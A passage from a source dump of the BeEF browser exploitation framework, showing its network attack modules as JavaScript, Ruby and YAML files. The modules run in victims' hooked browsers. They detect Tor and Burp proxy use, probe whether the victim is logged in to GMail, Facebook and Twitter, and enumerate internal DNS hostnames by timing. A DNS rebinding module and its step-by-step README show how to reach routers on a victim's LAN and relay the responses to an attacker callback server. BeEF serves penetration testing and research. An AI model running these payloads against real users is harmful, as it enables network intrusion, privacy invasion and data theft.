af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+=\"&\"+ai+\"=\"+Z[ai]}else{am.flashvars=ai+\"=\"+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\\?/.test(Z)){Z=Z.split(\"?\")[1]}if(aa==null){return L(Z)}var Y=Z.split(\"&\");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf(\"=\"))==aa){return L(Y[X].substring((Y[X].indexOf(\"=\")+1)))}}}return\"\"},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display=\"block\"}}if(E){E(B)}}a=false}}}}();"
  },
  {
    "path": "modules/network/detect_burp/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  load_script = function(url) {\n    var s = document.createElement(\"script\");\n    s.type = 'text/javascript';\n    s.src  = url;\n    document.body.appendChild(s);\n  }\n\n  get_proxy = function() {\n    try {\n      var response = FindProxyForURL('', '');\n      beef.debug(\"Response: \" + response);\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\n        \"has_burp=true&response=\" + response, beef.are.status_success());\n    } catch(e) {\n      beef.debug(\"Response: \" + e.message);\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"has_burp=false\", beef.are.status_error());\n    }\n  }\n\n  load_script(\"http://burp/proxy.pac\");\n  setTimeout(\"get_proxy()\", 10000);\n\n});\n\n"
  },
  {
    "path": "modules/network/detect_burp/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_burp:\n            enable: true\n            category: \"Network\"\n            name: \"Detect Burp\"\n            description: \"This module checks if the browser is using Burp. The Burp web interface must be enabled (default). The proxy IP address is returned to BeEF.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/detect_burp/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_burp < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^has_burp=true&response=PROXY ([\\d.]+:\\d+)/\n\n    ip = Regexp.last_match(1).split(':')[0]\n    port = Regexp.last_match(1).split(':')[1]\n    session_id = @datastore['beefhook']\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found network service [ip: #{ip}, port: #{port}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: 'http', ip: ip, port: port, type: 'Burp Proxy')\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/detect_ethereum_ens/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tif (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {\n\t\treturn \"Img already created\";\n\t}\n\n\tvar img = new Image();\n\timg.setAttribute(\"style\", \"visibility:hidden\");\n\timg.setAttribute(\"width\", \"0\");\n\timg.setAttribute(\"height\", \"0\");\n\timg.src = '<%= @ethereum_ens_resource %>';\n\timg.id = 'ethereum_ens_img_<%= @command_id %>';\n\timg.setAttribute(\"attr\", \"start\");\n\timg.onerror = function() {\n\t\tthis.setAttribute(\"attr\", \"error\");\n\t};\n\timg.onload = function() {\n\t\tthis.setAttribute(\"attr\", \"load\");\n\t};\n\n\tdocument.body.appendChild(img);\n\n\tsetTimeout(function() {\n\t\tvar img = document.getElementById('ethereum_ens_img_<%= @command_id %>');\t\n\t\tif (img.getAttribute(\"attr\") == \"error\") {\n      beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');\n\t\t} else if (img.getAttribute(\"attr\") == \"load\") {\n      beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');\n\t\t} else if (img.getAttribute(\"attr\") == \"start\") {\n      beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');\n\t\t};\n\t\tdocument.body.removeChild(img);\n\t\t}, <%= @timeout %>);\n\n});\n"
  },
  {
    "path": "modules/network/detect_ethereum_ens/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_ethereum_ens:\n            enable: true\n            category: \"Network\"\n            name: \"Detect Ethereum ENS\"\n            description: \"This module will detect if the zombie is currently using Ethereum ENS resolvers. Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page.\"\n            authors: [\"wade\", \"pdp\", \"bm\", \"xntrik\", \"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/detect_ethereum_ens/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_ethereum_ens < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethereum ENS image resource to request', 'value' => 'http://ens.eth/static/favicon-6305d6ce89910df001b94e8a31eb08f5.ico' },\n      # Alternatives:\n      # http://esteroids.eth/favicon.ico\n      # http://api3.eth/api3-logo-white.svg\n      # http://api3.eth/favicon.ico\n      { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '15000' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/detect_opennic/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tif (document.getElementById('opennic_img_<%= @command_id %>')) {\n\t\treturn \"Img already created\";\n\t}\n\n\tvar img = new Image();\n\timg.setAttribute(\"style\", \"visibility:hidden\");\n\timg.setAttribute(\"width\", \"0\");\n\timg.setAttribute(\"height\", \"0\");\n\timg.src = '<%= @opennic_resource %>';\n\timg.id = 'opennic_img_<%= @command_id %>';\n\timg.setAttribute(\"attr\", \"start\");\n\timg.onerror = function() {\n\t\tthis.setAttribute(\"attr\", \"error\");\n\t};\n\timg.onload = function() {\n\t\tthis.setAttribute(\"attr\", \"load\");\n\t};\n\n\tdocument.body.appendChild(img);\n\n\tsetTimeout(function() {\n\t\tvar img = document.getElementById('opennic_img_<%= @command_id %>');\t\n\t\tif (img.getAttribute(\"attr\") == \"error\") {\n      beef.debug('[Detect OpenNIC] Browser is not resolving OpenNIC domains.');\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving OpenNIC domains.');\n\t\t} else if (img.getAttribute(\"attr\") == \"load\") {\n      beef.debug('[Detect OpenNIC] Browser is resolving OpenNIC domains.');\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving OpenNIC domains.');\n\t\t} else if (img.getAttribute(\"attr\") == \"start\") {\n      beef.debug('[Detect OpenNIC] Timed out. Cannot determine if browser is resolving OpenNIC domains.');\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving OpenNIC domains.');\n\t\t};\n\t\tdocument.body.removeChild(img);\n\t\t}, <%= @timeout %>);\n\n});\n"
  },
  {
    "path": "modules/network/detect_opennic/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_opennic:\n            enable: true\n            category: \"Network\"\n            name: \"Detect OpenNIC DNS\"\n            description: \"This module will detect if the zombie is currently using OpenNIC DNS resolvers.</br><br/>Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page.\"\n            authors: [\"wade\", \"pdp\", \"bm\", \"xntrik\", \"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/detect_opennic/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_opennic < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'opennic_resource', 'ui_label' => 'What OpenNIC image resource to request', 'value' => 'http://be.libre/lang/flag/us.png' },\n      { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '10000' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/detect_soc_nets/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar facebookresult = \"\";\n\tvar twitterresult = \"\";\n\t\n\tif (document.getElementById('gmailimg')) {\n\t\treturn \"Img has already been created\";\n\t}\n\t\n\tvar img = new Image();\n\timg.setAttribute(\"style\",\"visibility:hidden\");\n\timg.setAttribute(\"width\",\"0\");\n\timg.setAttribute(\"height\",\"0\");\n\timg.src = 'https://mail.google.com/mail/photos/img/photos/public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwSCm_MMUDjh599IgoA2muEmEZD?'+ new Date();\n\timg.id = 'gmailimg';\n\timg.setAttribute(\"attr\",\"start\");\n\timg.onerror = function() {\n\t\tthis.setAttribute(\"attr\",\"error\");\n\t};\n\timg.onload = function() {\n\t\tthis.setAttribute(\"attr\",\"load\");\n\t};\n\n\t\n\tdocument.body.appendChild(img);\n\t\n\t$j.ajax({\n\t\turl: \"https://twitter.com/account/use_phx?setting=false&amp;format=text\",\n\t\tdataType: \"script\",\n\t\tcache: \"false\",\n\t\tcomplete: function(one, two) {\n\t\t\tif (two == \"success\") {\n\t\t\t\ttwitterresult = \"User is NOT authenticated to Twitter (response:\"+two+\")\";\n\t\t\t} else if (two == \"timeout\") {\n\t\t\t\ttwitterresult = \"User is authenticated to Twitter (response:\"+two+\")\";\n\t\t\t}\n\t\t},\n\t\ttimeout: <%= @timeout %>\n\t});\n\t\n\t$j.ajax({\n\t\turl: \"https://www.facebook.com/imike3\",\n\t\tdataType: \"script\",\n\t\tcache: \"false\",\n\t\terror: function(one, two, three) {\n\t\t\tfacebookresult = \"User is NOT authenticated to Facebook\";\n\t\t},\n\t\tsuccess: function(one, two, three) {\n\t\t\tfacebookresult = \"User is authenticated to Facebook\";\n\t\t},\n\t\ttimeout: <%= @timeout %>\n\t});\n\n\tsetTimeout(function() {\n\t\tvar img2 = document.getElementById('gmailimg');\t\n\t\tif (img2.getAttribute(\"attr\") == \"error\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);\n\t\t} else if (img2.getAttribute(\"attr\") == \"load\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);\n\t\t} else if (img2.getAttribute(\"attr\") == \"start\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult);\n\t\t};\n\t\tdocument.body.removeChild(img2);\n\t\timg = null;\n\t\timg2 = null;\n\t\t}, <%= @timeout %>+3000);\n\n});\n"
  },
  {
    "path": "modules/network/detect_soc_nets/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_soc_nets:\n            enable: true\n            category: \"Network\"\n            name: \"Detect Social Networks\"\n            description: \"This module will detect if the Hooked Browser is currently authenticated to GMail, Facebook and Twitter.\"\n            authors: [\"xntrik\", \"Mike Cardwell\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/detect_soc_nets/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_soc_nets < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'timeout', 'ui_label' => 'Detection Timeout', 'value' => '5000' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['GMail'] = @datastore['gmail']\n    content['Facebook'] = @datastore['facebook']\n    content['Twitter'] = @datastore['twitter']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/network/detect_tor/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tif (document.getElementById('torimg')) {\n\t\treturn \"Img already created\";\n\t}\n\n\tvar img = new Image();\n\timg.setAttribute(\"style\",\"visibility:hidden\");\n\timg.setAttribute(\"width\",\"0\");\n\timg.setAttribute(\"height\",\"0\");\n\t//img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif';\n\t//img.src = 'http://xycpusearchon2mc.onion/deeplogo.jpg'\n\timg.src = '<%= @tor_resource %>';\n\timg.id = 'torimg';\n\timg.setAttribute(\"attr\",\"start\");\n\timg.onerror = function() {\n\t\tthis.setAttribute(\"attr\",\"error\");\n\t};\n\timg.onload = function() {\n\t\tthis.setAttribute(\"attr\",\"load\");\n\t};\n\n\tdocument.body.appendChild(img);\n\n\tsetTimeout(function() {\n\t\tvar img = document.getElementById('torimg');\t\n\t\tif (img.getAttribute(\"attr\") == \"error\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');\n\t\t} else if (img.getAttribute(\"attr\") == \"load\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');\n\t\t} else if (img.getAttribute(\"attr\") == \"start\") {\n\t\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');\n\t\t};\n\t\tdocument.body.removeChild(img);\n\t\t}, <%= @timeout %>);\n\n});\n"
  },
  {
    "path": "modules/network/detect_tor/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_tor:\n            enable: true\n            category: \"Network\"\n            name: \"Detect Tor\" \n            description: \"This module will detect if the zombie is currently using Tor (https://www.torproject.org/).\"\n            authors: [\"wade\", \"pdp\", \"bm\", \"xntrik\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/detect_tor/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_tor < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'tor_resource', 'ui_label' => 'What Tor resource to request', 'value' => 'http://xycpusearchon2mc.onion/deeplogo.jpg' },\n      { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '10000' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/network/dns_enumeration/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    var dns_list = \"<%= @dns_list %>\";\n    var timeout = parseInt(\"<%= @timeout %>\");\n\n    var cont=0;\n    var port = 900;\n    var protocol=\"http://\";\n    var hostnames;\n\n    if(dns_list!=\"%default%\") {\n        hostnames = dns_list.split(\",\");\n    } else {\n        hostnames = new Array(\"abc\", \"about\", \"accounts\", \"admin\", \"administrador\", \"administrator\", \"ads\", \"adserver\", \"adsl\", \"agent\", \"blog\", \"channel\", \"client\", \"dev\", \"dev1\", \"dev2\", \"dev3\", \"dev4\", \"dev5\", \"dmz\", \"dns\", \"dns0\", \"dns1\", \"dns2\", \"dns3\", \"extern\", \"extranet\", \"file\", \"forum\", \"forums\", \"ftp\", \"ftpserver\", \"host\", \"http\", \"https\", \"ida\", \"ids\", \"imail\", \"imap\", \"imap3\", \"imap4\", \"install\", \"intern\", \"internal\", \"intranet\", \"irc\", \"linux\", \"log\", \"mail\", \"map\", \"member\", \"members\", \"name\", \"nc\", \"ns\", \"ntp\", \"ntserver\", \"office\", \"owa\", \"phone\", \"pop\", \"ppp1\", \"ppp10\", \"ppp11\", \"ppp12\", \"ppp13\", \"ppp14\", \"ppp15\", \"ppp16\", \"ppp17\", \"ppp18\", \"ppp19\", \"ppp2\", \"ppp20\", \"ppp21\", \"ppp3\", \"ppp4\", \"ppp5\", \"ppp6\", \"ppp7\", \"ppp8\", \"ppp9\", \"pptp\", \"print\", \"printer\", \"project\", \"pub\", \"public\", \"preprod\", \"root\", \"route\", \"router\", \"server\", \"smtp\", \"sql\", \"sqlserver\", \"ssh\", \"telnet\", \"time\", \"voip\", \"w\", \"webaccess\", \"webadmin\", \"webmail\", \"webserver\", \"website\", \"win\", \"windows\", \"ww\", \"www\", \"wwww\", \"xml\");\n    }\n\n    function notify() {\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Internal DNS found: '+ hostnames[cont]);\n        check_next();\n    }\n\n    function check_next() {\n        cont++;\n        if(cont<hostnames.length) do_resolv(protocol + hostnames[cont] + \":\" + port);\n        else setTimeout(function(){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DNS Enumeration done') }, 1000);\n    }\n\n    function do_resolv(url) {\n        // Cross Origin Resource Sharing call\n        var xhr = new XMLHttpRequest();\n        if(\"withCredentials\" in xhr) {\n            xhr.open(\"GET\", url, true);\n        } else if(typeof XDomainRequest != \"undefined\") {\n            xhr = new XDomainRequest();\n            xhr.open(\"GET\",url);\n        } else {\n            return -1;\n        }\n\n        xhr.onreadystatechange= function(e) { if(xhr.readyState==4) { clearTimeout(p); check_next(); } };\n        xhr.send();\n        var p = setTimeout(function() { xhr.onreadystatechange = function(evt) {}; notify(); }, timeout);\n    }\n\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Starting DNS enumeration: '+ hostnames.length + ' hostnames loaded');\n    if(do_resolv(protocol + hostnames[0] + \":\" + port)==-1) {\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser not supported');\n    }\n\n});\n"
  },
  {
    "path": "modules/network/dns_enumeration/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        dns_enumeration:\n            enable: true\n            category: \"Network\"\n            name: \"DNS Enumeration\"\n            description: \"Discover DNS hostnames within the victim's network using dictionary and timing attacks.\"\n            authors: [\"jgaliana\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"IE\", \"S\", \"O\"]\n"
  },
  {
    "path": "modules/network/dns_enumeration/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#\n# DNS Enumeration\n\nclass Dns_enumeration < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'dns_list', 'ui_label' => 'DNS (comma separated)', 'value' => '%default%' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (ms)', 'value' => '4000' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['fail'] = 'No DNS hosts have been discovered.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/network/dns_rebinding/README.md",
    "content": "# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack #\n\n## How does attack work in general? ##\n\nAttacker must have some domain and DNS server responds to DNS query for this domain.\n\nWhen client's browser connects to the attacker's domain it gets two IP addresses:\n\n* First IP address in the DNS response is address of Web page with malicious JavaScript.\n\n* Second IP address is from victim's LAN, it is a target address.\n\nThe client's browser connects to the first IP address in the DNS response and retrieves the HTML file containing the attacker's\nJavaScript.\n\nWhen the attacker's JavaScript initiates a request back to the attacker's domain via an\nXMLHttpRequest, the browser will again try to connect to the attacker's Web server. However,\nsince the client's IP is now blocked, the browser will receive a TCP reset packet from the\nattacker's Web server.\n\nThe browser will automatically attempt to use the second IP address listed in the DNS response,\nwhich is the IP address of the client’s router. The attacker's JavaScript can now send requests to\nthe router as well as view the responses.\n\n## How to launch attack in BeEF? ##\n\n1. First of all, you should register domain, for example *dnsrebinding.org* and register NS server with IP address where BeEF DNS server launched. For tests you can use https://freedns.afraid.org, free third-level domain registrar.\n2. Configure DNS Rebinding extension and module. In extension there are four main configs:\n\n* *address_http_internal* - IP Address of small HTTP Server, that hooks victim. That address will be in DNS response for victim.\n\n* *address_http_external* - If you behind NAT \n\n* *address_proxy_internal* - Victim will send on that address responses from target LAN IP. May be the same as address_http.\n\n* *address_proxy_external* - If you behind NAT\n\n* *port_ proxy* - 81 by default\n\nIn module main config is *domain*. Module adds  DNS rule to BeEF DNS database with the help of this config. \n\n3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org*\n4. In BeEF UI open module \"DNS Rebinding\" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS.\n4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server.\n5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP.\n    For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php\n6. That is all.\n\nExtension uses Iptables to block client. That is no good way, because system() is patched and Iptables need sudo. But victim's browser need get TCP RST from server right away XMLHttpRequest to successful attack.\n\nNotice, attack is VERY DEMANDING, there are many things that can break it. For example:\n1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address.\n2. If victim's browser have unclear cache with target IP address, browser will use local IP.\n3. (!) If victim even has closed, TIME WAIT connection with target IP address - the same, browser will use local IP\n4. If victim broke attack (for example close tab with hook page), browser anyway save in cache ip address (local) of web page, and you should wait some time while cache will be clear again. In different browsers that time different.\n\n## References ##\n1. http://en.wikipedia.org/wiki/DNS_rebinding\n1. https://code.google.com/p/rebind/downloads/list    - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf\n"
  },
  {
    "path": "modules/network/dns_rebinding/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\nbeef.execute(function() {\n    var domain = \"<%= @domain %>\"\n    if (window.location.href.indexOf(domain) == -1) {\n       window.location.href = \"http://\"+domain+\"/\";\n    } else {\n        //Cut '/' from url\n        var url = window.location.href.slice(0, -1);\n        var url_callback = \"<%= @url_callback %>\";\n        url_callback += '/?from=from_victim&&';\n\n        function get_next_query() {\n                var xhr_callback = new XMLHttpRequest();\n                //Synchronous because we do nothing without query from BeEF owner\n                xhr_callback.open('GET', url_callback+'que=req', true);\n                xhr_callback.onload = resolv_query;\n                xhr_callback.send(null);\n        }\n\n        function resolv_query() {\n                var path = this.getResponseHeader('path');\n                var method = this.getResponseHeader('method');\n                var data = this.responseText;\n\n                //Asynchronous beacuse XHR2 don't work with responseType when synchronous\n                var xhr = new XMLHttpRequest();\n                xhr.open(method, url+path, true);\n                xhr.responseType = 'arraybuffer'\n                xhr.onload = function(e) {\n                    var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});\n                    beef.debug(blob);\n                    xhr_cb = new XMLHttpRequest();\n                    xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);\n                    xhr_cb.send(blob);\n\n                    elem = document.createElement(\"div\");\n                    elem.id = 'log';\n                    elem.innerHTML = 'Downloaded: '+path;\n                    document.body.insertBefore(elem, document.body.childNodes[0]);\n                }\n                xhr.send(data);\n        }\n\n        xhr1 = new XMLHttpRequest();\n        xhr1.open('GET', url+'/?load', false);\n        xhr1.send(null);\n        if (xhr1.status == 200) {\n            setInterval(get_next_query, 1000);\n        }\n\n    }\n});\n"
  },
  {
    "path": "modules/network/dns_rebinding/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        dns_rebinding:\n            enable: true\n            category: \"Network\"\n            name: \"DNS Rebinding\"\n            description: \"dnsrebind\"\n            domain: \"dnsreb.beefproject.com\"\n            authors: [\"Milovanov T.I.\"]\n            target:\n                working:\n                    C:\n                        min_ver: 1\n                        max_ver: 40\n                    O:\n                        min_ver: 1\n                        max_ver: 27\n            not_working: [\"All\"]\n"
  },
  {
    "path": "modules/network/dns_rebinding/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dns_rebinding < BeEF::Core::Command\n  def self.options\n    domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')\n    dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')\n    url_callback = \"http://#{dr_config['address_proxy_external']}:#{dr_config['port_proxy']}\"\n    [{\n      'name' => 'target',\n      'value' => '192.168.0.1'\n    },\n     {\n       'name' => 'domain',\n       'value' => domain\n     },\n     {\n       'name' => 'url_callback',\n       'value' => url_callback\n     }]\n  end\n\n  def pre_send\n    dns = BeEF::Extension::Dns::Server.instance\n    dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')\n\n    addr = dr_config['address_http_external']\n    domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')\n    target_addr = '192.168.0.1'\n\n    target_addr = @datastore[0]['value'] if @datastore[0]\n    domain = @datastore[1]['value'] if @datastore[1]\n\n    id = dns.add_rule(\n      pattern: domain,\n      resource: Resolv::DNS::Resource::IN::A,\n      response: [addr, target_addr]\n    )\n\n    dns.remove_rule!(id)\n\n    dns.add_rule(\n      pattern: domain,\n      resource: Resolv::DNS::Resource::IN::A,\n      response: [addr, target_addr]\n    )\n  end\nend\n"
  },
  {
    "path": "modules/network/fetch_port_scanner/command.js",
